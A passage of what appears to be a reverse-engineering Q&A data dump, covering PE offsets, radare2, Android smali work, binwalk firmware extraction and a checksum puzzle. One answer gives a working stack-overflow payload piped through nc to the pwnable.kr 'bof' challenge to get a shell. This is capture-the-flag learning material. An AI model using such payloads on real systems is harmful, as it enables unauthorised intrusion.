    Dim AddressOfPE As Long\nDim RawFileOffsetToCheck As Long\nDim StartAddress as Long\nDim EndAddresss as Long   \n\nAddressOfPE = NTHEADER.OptionalHeader.ImageBase\n\nFor u = 0 To UBound(SECTIONSHEADER)\n    StartAddress = AddressOfPE + SECTIONSHEADER(u).VirtualAddress\n    EndAddresss = AddressOfPE + RoundUp((SECTIONSHEADER(u).VirtualAddress + SECTIONSHEADER(u).VirtualSize), NtHeader.OptionalHeader.SectionAlignment) - 1\n\n    If offset >= StartAddress And offset <= EndAddresss Then\n        RawFileOffsetToCheck = offset - StartAddress  + SECTIONSHEADER(u).PointerToRawData\n    End If\n    'Hunt for strings\n    'TODO: Use the STUFF here.. pretty easy since we get the file offset here [RawFileOffsetToCheck]\nNext u\n\n\nPublic Function RoundUp(V, M) As Long\n    If (V Mod M) = 0 Then\n        RoundUp = V\n    Else\n        RoundUp = ((V \\ M) + 1) * M\n    End If\nEnd Function\n
    \n\n

    Debug outputs exactly like ollydbg view

    \n\n
    .text  401000 23ACFFF\n.rdata 23AD000 2C02FFF\n.data  2C03000 5907FFF\n.rsrc  5908000 5918FFF\n
    \n" }, { "Id": "11761", "CreationDate": "2016-01-14T13:29:25.423", "Body": "

    Say for example I'm searching for a malware that writes data, or sends data about my OS to external sources, or writes hidden files or registry entries.

    \n\n

    Is there a particular tool that tells me EVERYTHING an installer/executable does? This is regarding the Windows platform.

    \n", "Title": "How to analyze deeply every single step of a windows executable/installer", "Tags": "|executable|", "Answer": "

    You may wish to use a tool called RegShot for monitoring changes in the registry. You would take a snapshot of the registry, and then run the suspicious program, any changes will be highlighted by RegShot in the next snapshot you take - RegShot - Sourceforge

    \n" }, { "Id": "11766", "CreationDate": "2016-01-15T08:31:13.700", "Body": "

    Please bear with me as I explain this situation.

    \n

    Maybe 10 days ago I took up the challenge of reverse engineering an Android app. Learning from scratch, I installed ADB, Apktool, Android Studio, Notepad++ with Smali highlighting etc. My approach has been to write test programs in Android studio that mirror the workings of the APK, and then decompile with Apktool to help me do Smali modifications. I've been successful in modifying the application to log all HTTP requests, headers, cookies, and post data to the android log.

    \n

    My next challenge was to figure out how an important algorithm in the app works. This is what stumped me. I spent the last 3 or 4 days spending the majority of my day analysing Smali code making almost no progress. Apparently the algorithm is done (at least in part if not mostly) in a native library with the .so extension.

    \n

    One of the extremely frustrating things about Reverse engineering is how small the community is. There are very few resources on the web (At least compared to other things). I've probably bitten off more than I can chew. I always attempt difficult projects that are above my skill level. For this task, I'm guessing I need to become very familiar with ARM and I'll have to use IDA Pro to analyse the .so file? To explain my knowledge level:

    \n\n

    So I'm experienced with programming, but not really reverse engineering. How in over my head am I attempting to understand this complex native library (When I already know practically nothing about native libraries/JNI)? Could the professionals here please give me some specific examples of how I can get to the level where I am knowledgeable enough to complete my goal? I don't want to just give up because this is a difficult challenge. Please give me suggestions of how I can progress enough to complete my goal. I assume I'll need to learn IDA Pro and how ARM works.

    \n

    Thanks

    \n", "Title": "How Do I get proficient at Reverse engineering?", "Tags": "|ida|android|apk|", "Answer": "
    \n

    I spent the last 3 or 4 days\n spending the majority of my day analysing Smali code making almost no\n progress.

    \n
    \n\n

    I know it feels like you've made \"no progress\", but I'd encourage you to not look at it that way. You spent 3 or 4 days figuring out which approaches don't work, which is in itself progress. And you also built up 3 or 4 days of reverse engineering experience, regardless of how fruitful the immediate outcome was.

    \n\n
    \n

    Apparently the algorithm is done (at least in part if not\n mostly) in a native library with the .so extension.

    \n \n

    ...

    \n \n

    How in over my head am I attempting to understand this complex native library?

    \n
    \n\n

    Given that you've determined that the Java code calls out to the .so library, it shouldn't be too difficult to find the native function in the .so library since the native function would be exported-by-name for JNI compatibility. This means that you don't in fact need to \"understand this complex native library\" in its entirety, but rather just the one native function in question (in addition to the functions that that function calls).

    \n\n

    If the native code is not heavily obfuscated and if you have Hex-Rays for ARM, it should be relatively easy to understand the target function. If, on the other hand, you don't have Hex-Rays, then you can use the evaluation version of IDA Pro to disassemble the target function. You'd need to manually analyze the ARM instructions to determine what the function is doing. Although that can be tedious, ARM instructions and the architecture in general are very well-documented. Approach it as you would when learning any new programming language.

    \n\n

    Start analyzing the function from the very first instruction, and keep high-level notes on what each instruction is doing in the context of the function. Keep track of what values get stored in what registers and how memory is used. On first-pass, your goal is to determine what the function is doing (based on the instructions). Once you've extrapolated what the function is doing, your second-pass should focus on trying to understand why the function is doing what it's doing. After some time, things should begin to \"click\" in your mind, you'll get that \"aha!\" moment, and you'll understand how the target algorithm works.

    \n" }, { "Id": "11768", "CreationDate": "2016-01-15T13:57:56.113", "Body": "

    when I am using the radare2 debugger, it happens that I have sometimes to examine variables and memory. Consider the following instruction

    \n\n
    0x08048498      8b4508         mov eax, dword [ebp+arg2]\n
    \n\n

    Assuming that I know that what in eax pointer to array of characters with null termination at the end (I mean string). So, ebp+arg2 is pointer to that string.

    \n\n

    when I type ps @eax I get what I expect, a string. But, I can get the same result by accessing [ebp+arg_2]. I tried many things including ps and ps/ etc.

    \n", "Title": "How to print from pointers in radare2 in debug session", "Tags": "|debugging|debuggers|radare2|", "Answer": "

    You should get the same result by pf S @ ebp+arg2.

    \n\n
    pf[?][.nam] [fmt]              print formatted data (pf.name, pf.name $<expr>)\nS       64bit pointer to string (8 bytes)\n
    \n\n

    pf S stands for print formatted null terminated string referenced by a 64 bit pointer.

    \n\n

    You might have to use arg2's actually value like 0x8.

    \n\n

    I guess it is a renamed argument so you should look up in the function header what is it's value.

    \n" }, { "Id": "11770", "CreationDate": "2016-01-15T19:15:09.107", "Body": "

    I can inspect esp in radar2 using dr esp. In order to inspect 0x15(%esp) I do the following:

    \n\n
        dr esp\n0xff966c60\n    ? 0xff966c60 + 0x15\n0xff966c75\n    px 4 @ 0xff966c75\n
    \n\n

    Is there an easier way to do this? px 4 @ esp + 0x15 is not what I need.

    \n", "Title": "Examining memory in radare2 using registers", "Tags": "|radare2|", "Answer": "

    You could chain your steps in a single command with something like px 4 @ `dr esp` + 4, or simply use px 8 @ esp and look at the second word.

    \n" }, { "Id": "11775", "CreationDate": "2016-01-16T19:48:48.450", "Body": "

    I'm debugging a file with radare2 and when I come to scanf function I want to forward input from a .txt file. In gdb I would do this by typing r < text.txt.

    \n\n

    Is something like that possible in radare2? I've tried dc < text.txt but it seems that it's not working.

    \n", "Title": "Radare2 forwarding input to scanf from a file", "Tags": "|radare2|", "Answer": "

    I don't have enough reputation to comment maijin answer, but due to that answer(r2 issue #9788) passing params after -d flag can get side effects.

    \n\n
    \n

    ... don't pass flags after -d or may be taken as args of the program\n in some systems.

    \n
    \n" }, { "Id": "11777", "CreationDate": "2016-01-16T22:16:30.247", "Body": "

    I was solving bof challenge on http://pwnable.kr/play.php\nit is required to smash the stack of the following code

    \n\n
    #include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\nvoid func(int key){\n    char overflowme[32];\n    printf(\"overflow me : \");\n    gets(overflowme);   // smash me!\n    if(key != 0xcafebabe){\n        system(\"/bin/sh\");\n    }\n    else{\n        printf(\"Nah..\\n\");\n    }\n}\nint main(int argc, char* argv[]){\n    func(0xdeadbeef);\n    return 0;\n}\n
    \n\n

    and I was given compiler version of that I was supposed to exploit\nthe task was straightforward but when I overflow the array overflowme the control I never transfered to /bin/sh instead I get something like\n*** stack smashing detected ***: ./bof terminated\nattempt1:\ntry filling the array with zeros except for the key but failed\nattempt2:\nget memory dump for where the array is stored and overflow the array with that dump but still failed

    \n", "Title": "How to effectively bypass GCC stack smashing detection", "Tags": "|gdb|c|buffer-overflow|", "Answer": "

    The answer from Jason is the correct solution. However, I wanted to give an alternative answer without Python, but from the terminal. IMO Python is always preferred for better automation, but sometimes you just wanna have a quick exploit done without extra tools.

    \n\n

    With that in mind, one's natural attempt would be something like below:

    \n\n
    echo -e \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\xbe\\xba\\xfe\\xca\\x0a\" | nc pwnable.kr 9000\n
    \n\n

    After all, this is an exact replica of the code above in Python, right? Except, the server begs to differ:

    \n\n
    \n

    *** stack smashing detected ***: /home/bof/bof terminated overflow me :

    \n
    \n\n

    So, what is the problem, then?

    \n\n

    Think about the command above, for a moment. It sends a bunch of characters to the stdin of the remote process, in the hopes of running /bin/sh. However, we still get greeted by the error. The reason for this, is that we are sending the correct payload, but then we are stopping. EOF. /bin/sh has no input, so execution continues to the next line, until the stack protector kicks in.

    \n\n

    The reason why Python works and the echo command doesn't, is continuity. Python doesn't close the stream, while the terminal version does.

    \n\n

    To prove it, here's a slightly longer version of the terminal exploit, which actually works:

    \n\n
    echo -e \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\xbe\\xba\\xfe\\xca\\x0a\" > payload.bin\n
    \n\n

    First, we save the exact payload as before, to a file named payload.bin in this case. Next, we run the following command:

    \n\n
    cat payload.bin - | nc pwnable.kr 9000\n
    \n\n

    (Note the - after payload.bin, after cat is done outputting contents of payload.bin, it will start outputting whatever comes in via stdin)

    \n\n

    And voila! Now you are actually in. You can try typing shell commands, such as cat flag, or touch /tmp/pwned or whatever you like.

    \n\n

    Whew! That was long. Hope this info will help other confused souls as it did help me a while ago.

    \n" }, { "Id": "11785", "CreationDate": "2016-01-18T02:34:29.363", "Body": "

    I would like to reverse-engineer the software that came with my Chinese-made laser engraver. Unfortunately the hardware does not play at all with other software out there... The original software is horribly buggy, is loaded with malware (specifically the Strictor Trojan), and the vendor is refusing to give support for the program. I would like to get the original code of this program so that I may remove the Trojan, debug the software, and just make the damn thing work. I paid over $400 for the thing and frankly I am quite pissed off at the fact that the software is complete SHIT. (pretty sure it hasn't been updated since win2k...) It acts as if it were written by some highschool kid as a senior project or something... severely limited and severely bugged.

    \n\n

    So looking at the error files this program keeps pumping out, i WAS 100% sure that the main program was made in .net (not sure if VB, VC, VC++, etc). it's stating errors with \"windows.form.button...\", ontop of that, they required .net framework to be installed in order to use it. Which made me think possibly VB? However after trying VBDecompilerLite, it stated that the program was compiled using an unknown compiler... so i'm at a loss here.

    \n\n

    I have tried to extract the code from the exe using DeDe, ResourceHacker, Universal Extractor, 7Zip extraction, etc - all of which produce a 0b file \"[0~]\" which is unreadable, or an error saying could not extract files.

    \n\n

    If anyone has a clue of what I could try next, please let me know. I cannot upload the file for people to test because - as I stated above - it contains malware. I am decompiling the program on a PC that is off the usual network, so no internet / network access there.

    \n\n

    Virus Scan Results:

    \n\n
    Scanner         |   Malware Variant             |   AV updated\n---------------------------------------------------------------\nALYac               Gen:Variant.Strictor.99340      20160115\nAd-Aware            Gen:Variant.Strictor.99340      20160115\nArcabit             Trojan.Strictor.D1840C          20160115\nAvast               Win32:Malware-gen               20160115\nBitDefender         Gen:Variant.Strictor.99340      20160115\nEmsisoft            Gen:Variant.Strictor.99340 (B)  20160115\nF-Secure            Gen:Variant.Strictor.99340      20160115\nGData               Gen:Variant.Strictor.99340      20160115\nMicroWorld-eScan    Gen:Variant.Strictor.99340      20160115\nQihoo-360           QVM19.1.Malware.Gen             20160115\nRising              PE:Malware.RDM.18!5.18 [F]      20160114 \n
    \n\n

    Please help me!

    \n\n

    Here is the original error that the program gave me (if it helps):

    \n\n
    > See the end of this message for details on invoking  just-in-time\n> (JIT) debugging instead of this dialog box.\n> \n> ************** Exception Text ************** System.ArgumentException: Parameter is not valid.    at System.Drawing.Bitmap.LockBits(Rectangle\n> rect, ImageLockMode flags, PixelFormat format, BitmapData bitmapData) \n> at System.Drawing.Bitmap.LockBits(Rectangle rect, ImageLockMode flags,\n> PixelFormat format)    at xj2.Form1.Gray2(Bitmap srcBitmap, Boolean\n> reverse)    at xj2.Form1.button3_Click(Object sender, EventArgs e)   \n> at System.Windows.Forms.Control.OnClick(EventArgs e)    at\n> System.Windows.Forms.Button.OnClick(EventArgs e)    at\n> System.Windows.Forms.Button.OnMouseUp(MouseEventArgs mevent)    at\n> System.Windows.Forms.Control.WmMouseUp(Message& m, MouseButtons\n> button, Int32 clicks)    at\n> System.Windows.Forms.Control.WndProc(Message& m)    at\n> System.Windows.Forms.ButtonBase.WndProc(Message& m)    at\n> System.Windows.Forms.Button.WndProc(Message& m)    at\n> System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)\n> at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message&\n> m)    at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32\n> msg, IntPtr wparam, IntPtr lparam)\n> \n> \n> ************** Loaded Assemblies ************** mscorlib\n>     Assembly Version: 2.0.0.0\n>     Win32 Version: 2.0.50727.3643 (GDR.050727-3600)\n>     CodeBase: file:///C:/windows/Microsoft.NET/Framework/v2.0.50727/mscorlib.dll\n> ---------------------------------------- BoxedAppSDK_AppDomainManager\n>     Assembly Version: 1.0.0.0\n>     Win32 Version: 1.0.0.0\n>     CodeBase: file:///C:/windows/assembly/GAC/BoxedAppSDK_AppDomainManager/1.0.0.0__ef07ce3257ee81c1/BoxedAppSDK_AppDomainManager.dll\n> ---------------------------------------- xj2\n>     Assembly Version: 1.0.0.0\n>     Win32 Version: 1.0.0.0\n>     CodeBase: file:///C:/Documents%20and%20Settings/Owner/\u30c7\u30b9\u30af\u30c8\u30c3\u30d7/1.exe\n> ---------------------------------------- System.Windows.Forms\n>     Assembly Version: 2.0.0.0\n>     Win32 Version: 2.0.50727.3645 (GDR.050727-3600)\n>     CodeBase: file:///C:/windows/assembly/GAC_MSIL/System.Windows.Forms/2.0.0.0__b77a5c561934e089/System.Windows.Forms.dll\n> ---------------------------------------- System\n>     Assembly Version: 2.0.0.0\n>     Win32 Version: 2.0.50727.3644 (GDR.050727-3600)\n>     CodeBase: file:///C:/windows/assembly/GAC_MSIL/System/2.0.0.0__b77a5c561934e089/System.dll\n> ---------------------------------------- System.Drawing\n>     Assembly Version: 2.0.0.0\n>     Win32 Version: 2.0.50727.3644 (GDR.050727-3600)\n>     CodeBase: file:///C:/windows/assembly/GAC_MSIL/System.Drawing/2.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll\n> ---------------------------------------- Accessibility\n>     Assembly Version: 2.0.0.0\n>     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)\n>     CodeBase: file:///C:/windows/assembly/GAC_MSIL/Accessibility/2.0.0.0__b03f5f7f11d50a3a/Accessibility.dll\n> ---------------------------------------- xj2.resources\n>     Assembly Version: 1.0.0.0\n>     Win32 Version: 1.0.0.0\n>     CodeBase: file:///C:/Documents%20and%20Settings/Owner/\u30c7\u30b9\u30af\u30c8\u30c3\u30d7/en/xj2.resources.DLL\n> ---------------------------------------- System.Configuration\n>     Assembly Version: 2.0.0.0\n>     Win32 Version: 2.0.50727.3053 (netfxsp.050727-3000)\n>     CodeBase: file:///C:/windows/assembly/GAC_MSIL/System.Configuration/2.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll\n> ---------------------------------------- System.Xml\n>     Assembly Version: 2.0.0.0\n>     Win32 Version: 2.0.50727.3082 (QFE.050727-3000)\n>     CodeBase: file:///C:/windows/assembly/GAC_MSIL/System.Xml/2.0.0.0__b77a5c561934e089/System.Xml.dll\n> ----------------------------------------\n> \n> ************** JIT Debugging ************** To enable just-in-time (JIT) debugging, the .config file for this application or computer\n> (machine.config) must have the jitDebugging value set in the\n> system.windows.forms section. The application must also be compiled\n> with debugging enabled.\n> \n> For example:\n> \n> <configuration>\n>     <system.windows.forms jitDebugging=\"true\" /> </configuration>\n> \n> When JIT debugging is enabled, any unhandled exception will be sent to\n> the JIT debugger registered on the computer rather than be handled by\n> this dialog box.\n
    \n", "Title": "Reverse Engineering Chinese laser engraver", "Tags": "|malware|executable|.net|", "Answer": "

    RedGate's NET Reflector can disassemble a whole DLL assembly and generate the .cs files & even .vcxproj files.

    \n\n

    With the VSPro version, you can disassemble & debug code on the fly.

    \n\n

    So, I suggest getting a trial of it.

    \n\n

    However, if the code is ofuscated (or is part native / part managed, ie with C++ CLI) it will not disassemble completely. However, from your stack trace, looks like it is not ofuscated.

    \n\n

    Additionally some ofuscators create a thread that checks in an infinite loop if System.Diagnostics.Debugger.IsAttached property is true and if so kills the whole process, so some extra effort may be required :)

    \n" }, { "Id": "11791", "CreationDate": "2016-01-19T00:24:06.677", "Body": "

    I'm trying to use Binwalk to extract an IpCam bin firmware. I did it successfully for the WebUI, but I can't on the firmware itself.

    \n\n\n\n

    Problem : It's only extracting \"sysversion.txt, a bit light :).

    \n\n

    Files :

    \n\n
    ron@vpsXXXXXX:~/firmware$ ls\nCH-sys-48.53.64.67.zip\n
    \n\n

    Verification and extraction :

    \n\n
    ron@vpsXXXXXX:~/firmware$ binwalk CH-sys-48.53.64.67.zip\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 605571, uncompressed size: 612699, name: CH-sys-48.53.64.67.bin\n605717        0x93E15         End of Zip archive\n\nron@vpsXXXXXX:~/firmware$ file CH-sys-48.53.64.67.zip\nCH-sys-48.53.64.67.zip: Zip archive data, at least v2.0 to extract\nron@vpsXXXXXX:~/firmware$ unzip CH-sys-48.53.64.67.zip\nArchive:  CH-sys-48.53.64.67.zip\n  inflating: CH-sys-48.53.64.67.bin\n
    \n\n

    Binwalk without extracting :

    \n\n
    ron@vpsXXXXXX:~/firmware$ binwalk CH-sys-48.53.64.67.bin\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n172           0xAC            Zip archive data, at least v2.0 to extract, compressed size: 8969, uncompressed size: 19091, name: system/system/lib/libsns_gc1004.so\n9337          0x2479          End of Zip archive\n9499          0x251B          Zip archive data, at least v2.0 to extract, compressed size: 7813, uncompressed size: 16341, name: system/system/lib/libsns_ov9712_plus.so\n17518         0x446E          End of Zip archive\n17680         0x4510          Zip archive data, at least v2.0 to extract, compressed size: 90121, uncompressed size: 353248, name: system/system/lib/libOnvif.so\n107987        0x1A5D3         End of Zip archive\n108149        0x1A675         Zip archive data, at least v2.0 to extract, compressed size: 43603, uncompressed size: 84480, name: system/system/lib/libvoice_arm.so\n151946        0x2518A         End of Zip archive\n152108        0x2522C         Zip archive data, at least v2.0 to extract, compressed size: 130, uncompressed size: 227, name: system/init/ipcam.sh\n152406        0x25356         End of Zip archive\n152568        0x253F8         Zip archive data, at least v2.0 to extract, compressed size: 402383, uncompressed size: 886168, name: system/system/bin/encoder\n555129        0x87879         End of Zip archive\n555291        0x8791B         Zip archive data, at least v2.0 to extract, compressed size: 35394, uncompressed size: 74200, name: system/system/bin/wifidaemon\n590869        0x90415         End of Zip archive\n591031        0x904B7         Zip archive data, at least v2.0 to extract, compressed size: 1852, uncompressed size: 9692, name: system/system/bin/grade.sh\n593063        0x90CA7         End of Zip archive\n593225        0x90D49         Zip archive data, at least v2.0 to extract, compressed size: 8704, uncompressed size: 20212, name: system/system/bin/updata\n602105        0x92FF9         End of Zip archive\n602267        0x9309B         Zip archive data, at least v2.0 to extract, compressed size: 1874, uncompressed size: 4522, name: system/system/bin/gpio_aplink.ko\n604333        0x938AD         End of Zip archive\n604495        0x9394F         Zip archive data, at least v2.0 to extract, compressed size: 7241, uncompressed size: 16802, name: system/system/bin/motogpio.ko\n611922        0x95652         End of Zip archive\n612084        0x956F4         Zip archive data, at least v1.0 to extract, compressed size: 8, uncompressed size: 8, name: system/system/bin/fwversion.bin\n612282        0x957BA         End of Zip archive\n612444        0x9585C         Zip archive data, at least v1.0 to extract, compressed size: 9, uncompressed size: 9, name: system/system/bin/sysversion.txt\n612645        0x95925         End of Zip archive\n
    \n\n

    Binwalk extraction :

    \n\n
    ron@vpsXXXXXX:~/firmware$ binwalk -Mer CH-sys-48.53.64.67.bin\n\nScan Time:     2016-01-19 00:36:12\nTarget File:   /home/ron/firmware/CH-sys-48.53.64.67.bin\nMD5 Checksum:  58df9214226cfe46760215bfca0c496c\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n172           0xAC            Zip archive data, at least v2.0 to extract, compressed size: 8969, uncompressed size: 19091, name: system/system/lib/libsns_gc1004.so\n9337          0x2479          End of Zip archive\n9499          0x251B          Zip archive data, at least v2.0 to extract, compressed size: 7813, uncompressed size: 16341, name: system/system/lib/libsns_ov9712_plus.so\n17518         0x446E          End of Zip archive\n17680         0x4510          Zip archive data, at least v2.0 to extract, compressed size: 90121, uncompressed size: 353248, name: system/system/lib/libOnvif.so\n107987        0x1A5D3         End of Zip archive\n108149        0x1A675         Zip archive data, at least v2.0 to extract, compressed size: 43603, uncompressed size: 84480, name: system/system/lib/libvoice_arm.so\n151946        0x2518A         End of Zip archive\n152108        0x2522C         Zip archive data, at least v2.0 to extract, compressed size: 130, uncompressed size: 227, name: system/init/ipcam.sh\n152406        0x25356         End of Zip archive\n152568        0x253F8         Zip archive data, at least v2.0 to extract, compressed size: 402383, uncompressed size: 886168, name: system/system/bin/encoder\n555129        0x87879         End of Zip archive\n555291        0x8791B         Zip archive data, at least v2.0 to extract, compressed size: 35394, uncompressed size: 74200, name: system/system/bin/wifidaemon\n590869        0x90415         End of Zip archive\n591031        0x904B7         Zip archive data, at least v2.0 to extract, compressed size: 1852, uncompressed size: 9692, name: system/system/bin/grade.sh\n593063        0x90CA7         End of Zip archive\n593225        0x90D49         Zip archive data, at least v2.0 to extract, compressed size: 8704, uncompressed size: 20212, name: system/system/bin/updata\n602105        0x92FF9         End of Zip archive\n602267        0x9309B         Zip archive data, at least v2.0 to extract, compressed size: 1874, uncompressed size: 4522, name: system/system/bin/gpio_aplink.ko\n604333        0x938AD         End of Zip archive\n604495        0x9394F         Zip archive data, at least v2.0 to extract, compressed size: 7241, uncompressed size: 16802, name: system/system/bin/motogpio.ko\n611922        0x95652         End of Zip archive\n612084        0x956F4         Zip archive data, at least v1.0 to extract, compressed size: 8, uncompressed size: 8, name: system/system/bin/fwversion.bin\n612282        0x957BA         End of Zip archive\n612444        0x9585C         Zip archive data, at least v1.0 to extract, compressed size: 9, uncompressed size: 9, name: system/system/bin/sysversion.txt\n612645        0x95925         End of Zip archive\n\n\nScan Time:     2016-01-19 00:36:12\nTarget File:   /home/ron/firmware/_CH-sys-48.53.64.67.bin.extracted/system/system/bin/sysversion.txt\nMD5 Checksum:  3e98d83fbced8eb62c79542f5df5a14f\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n
    \n\n

    Only one target file extracted...

    \n\n

    A quick look to headers :

    \n\n
    ron@vpsXXXXXX:~/firmware$ head -n1 CH-sys-48.53.64.67.bin | hexdump -C\n00000000  77 77 77 2e 6f 62 6a 65  63 74 2d 63 61 6d 65 72  |www.object-camer|\n00000010  61 2e 63 6f 6d 2e 62 79  2e 68 6f 6e 67 7a 78 2e  |a.com.by.hongzx.|\n00000020  73 79 73 74 65 6d 2f 73  79 73 74 65 6d 2f 6c 69  |system/system/li|\n00000030  62 2f 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |b/..............|\n00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n00000060  6c 69 62 73 6e 73 5f 67  63 31 30 30 34 2e 73 6f  |libsns_gc1004.so|\n00000070  2e 7a 69 70 00 00 00 00  00 00 00 00 00 00 00 00  |.zip............|\n00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n*\n000000a0  e3 23 00 00 43 40 35 30  00 00 00 00 50 4b 03 04  |.#..C@50....PK..|\n000000b0  14 00 00 00 08 00 fa 8b  5d 47 89 42 30 43 09 23  |........]G.B0C.#|\n000000c0  00 00 93 4a 00 00 22 00  1c 00 73 79 73 74 65 6d  |...J..\"...system|\n000000d0  2f 73 79 73 74 65 6d 2f  6c 69 62 2f 6c 69 62 73  |/system/lib/libs|\n000000e0  6e 73 5f 67 63 31 30 30  34 2e 73 6f 55 54 09 00  |ns_gc1004.soUT..|\n000000f0  03 88 e7 31 56 88 e7 31  56 75 78 0b 00 01 04 ed  |...1V..1Vux.....|\n00000100  03 00 00 04 ed 03 00 00  e5 7c 0b 78 53 55 d6 f6  |.........|.xSU..|\n00000110  3e b9 b4 69 9a cb 69 cf  29 96 8b 92 0a           |>..i..i.)....|\n0000011d\n
    \n\n

    Any idea why I'm not able to extract everything ?

    \n\n

    Thank you !

    \n\n

    Ronan

    \n", "Title": "Unpack IpCam firmware - Binwalk extraction issue", "Tags": "|binary-analysis|binary|", "Answer": "

    Although my binwalk version extracted the files correctly to the system folder along with the zip files containing only the sysversion.txt, I shortly describe why you see only the sysversion.txt in the archive files.\nIt is because the firmware file contain multiple PKZIP archives and the binwalk does not know the exact size of these files. So, it can identify the start of the PKZIP file correctly based on the PK magic, but without knowing the correct file size, it extracts the remaining bytes to the created ZIP file. Because the central directory structure in PKZIP format stored at the end of the ZIP file, after the compressed data and the extracted ZIP file ends with the sysversion.txt.zip, the file viewer or decompressor may found the central directory of the last ZIP file.

    \n\n

    To solve this problem, you may check the system folder in the same folder you found the ZIP files, or you can extract the files manually.
    \nIf you take a look at the start of the CH-sys-48.53.64.67.bin file, you will find that it has a simple structure. It starts with a magic string (marked with blue in the picture). The next element is a 0x40 bytes long directory name (marked with yellow) followed by a 0x40 bytes long file name entry (marked with green). After the file name you will find the size of the file (marked with purple), some flags and the binary content (start of the binary file marked with grey).

    \n\n

    \"enter

    \n\n

    Based on these information you can write a simple script, which extracts the files correctly, for example:

    \n\n
    import sys\nimport struct\n\nif (len(sys.argv) < 2):\n    print 'usage: parse binary'\n    sys.exit(1)\n\nb = open(sys.argv[1], 'rb').read()\no = 0x20\nwhile(o < len(b)-0x20):\n    dir = b[o:o+0x40].strip('\\x00')\n    fname = b[o+0x40:o+0x80].strip('\\x00')\n    size = struct.unpack('L', b[o+0x80:o+0x84])[0]\n    unk1 = struct.unpack('L', b[o+0x84:o+0x88])[0]\n    unk2 = struct.unpack('L', b[o+0x88:o+0x8c])[0]\n    print '%x, %s, %s: %x, %x, %x'%(o, dir, fname, size, unk1, unk2)\n    open(fname, 'wb').write(b[o+0x8c:o+0x8c+size])\n    o += 0x8c+size\n
    \n" }, { "Id": "11799", "CreationDate": "2016-01-19T15:53:40.290", "Body": "

    Basically I have a set of 32-bit ELF program binaries compiled by either gcc or llvm. They are all stripped before analysis.

    \n\n

    My question is that, given a binary, is there any way I can determine whether it is compiled by gcc or llvm? Is there any available tool to do so?

    \n", "Title": "Given a program binary, how can I know which compiler it is compiled from?", "Tags": "|binary-analysis|binary|binary-format|", "Answer": "

    I am no expert in the matter but I would try:

    \n\n
      \n

    1. see exported functions names

      \n\n

      if mangling is present you can use it for compiler detection. Just make a list of exported function names and compare to known mangling schemes (for example from the table in linked wiki page)

      2. \n

    2. examine linked DLL's

      \n\n

      you can detect well known RTL's by the filenames.

      3. \n

    3. Also you can try to find language/compiler engine

      \n\n

      each version of each compiler of modern programing languages need to have its engine. It is part of code that is responsible for things like stack, variables, control flow etc and is always the same for each compiled program with the same compiler version.

      \n\n

      So create simple hello world apps in each compiler you can found and extract the engine binary. then simply search unknown binary and test if supported engine is present or not.

      4. \n
    \n\n

    The first two bullets are more for PE (not sure if elf has the same info) and there are tools for such inspection (like PE/DLL explorers so for elf there should be something similar).

    \n" }, { "Id": "11803", "CreationDate": "2016-01-20T09:03:40.150", "Body": "

    I have an encrypted raw data file generated by an application. This file is used in a second application to generate a readable text file based on the raw data.

    \n\n

    I need to change a few values in the raw data file, but since the contents of the raw data file are encrypted, I wanted to find out what is the encryption mechanism that is being used on the file, so I can decrypt it, make some changes, and encrypt it back.

    \n\n

    A sample of the file can be found here: http://pastebin.com/Cuj8aTG1

    \n\n

    Since I could not infer, based on the contents of the file, what kind of encryption is used, I wanted to know if there is a good debugger for windows that I can use to try and go through the code of the application, and see if I can check how the decryption is made.

    \n\n

    Since I do not know if the debugger will depend on the language used, it does not use .net, that would be more easy to reverse engineer.

    \n\n

    Thank you for your help.

    \n", "Title": "Debug an application for analyzing file decryption", "Tags": "|encryption|decryption|cryptography|", "Answer": "
    \n

    I wanted to know if there is a good debugger for windows that I can\n use

    \n
    \n\n

    OllyDbg v2 is a good debugger for Windows.

    \n" }, { "Id": "11804", "CreationDate": "2016-01-20T12:40:02.667", "Body": "

    I have a device at work with no documentation about it's checksum calculation. I know that the last byte in each message is the checksum, and most of the messages to the device requires a correct checksum.

    \n\n

    I thought it was easy to figure out, probably some CRC or something, but i really can't figure this out.

    \n\n

    I have some messages (from the device) with only one of the bytes changing to make it easier to find a pattern.

    \n\n

    The last byte in each message is the Checksum.

    \n\n

    The second last byte increments in theese messages:

    \n\n
    00h 5Ch A2h 00h 04h D2h 38h\n00h 5Ch A2h 00h 04h 57h BDh\n00h 5Ch A2h 00h 08h AEh 1Ch\n00h 5Ch A2h 00h 00h 01h 7Fh\n00h 5Ch A2h 00h 00h 02h 80h\n00h 5Ch A2h 00h 00h 03h 81h\n00h 5Ch A2h 00h 00h 04h 82h\n00h 5Ch A2h 00h 27h 0Fh BCh\n
    \n\n

    The 4th byte increments in those:

    \n\n
    00h 5Ch A2h 00h 00h 01h 7Fh\n00h 5Ch A2h 01h 00h 01h 63h\n00h 5Ch A2h 02h 00h 01h 67h\n00h 5Ch A2h 03h 00h 01h 6Bh \n00h 5Ch A2h 04h 00h 01h 6Fh\n
    \n\n

    I hope someone out there can help, its really a showstopper for me.

    \n\n

    EDIT - added some more examples

    \n\n
